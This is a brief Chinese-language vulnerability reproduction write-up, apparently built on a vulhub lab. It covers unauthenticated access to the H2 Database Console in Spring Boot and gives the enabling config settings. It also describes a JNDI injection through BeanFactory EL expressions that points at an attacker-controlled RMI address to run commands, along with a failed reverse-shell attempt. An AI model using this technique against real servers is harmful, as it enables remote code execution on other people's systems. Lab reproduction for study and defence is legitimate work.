H2 Database Console未授权访问
H2 database是一款java内存数据库,多用于单元测试。H2 database自带一个web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问WEB管理页面,且没有鉴权;
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
漏洞环境
执行如下命令启动一个springboot + h2database环境:
cd vulhub/h2database/h2-console-unacc
docker-compose up -d
漏洞复现
使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。
其中,javax.naming.InitialContext是JNDI的工厂类,URL rmi://10.10.10.128:1099/e4njg0是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求:
进入容器查看新建的文件
docker ps -a
docker exec -it e030c8e3847b /bin/bash
成功!但是在尝试反弹shell没有成功,不知道为什么?知道的请告诉一下!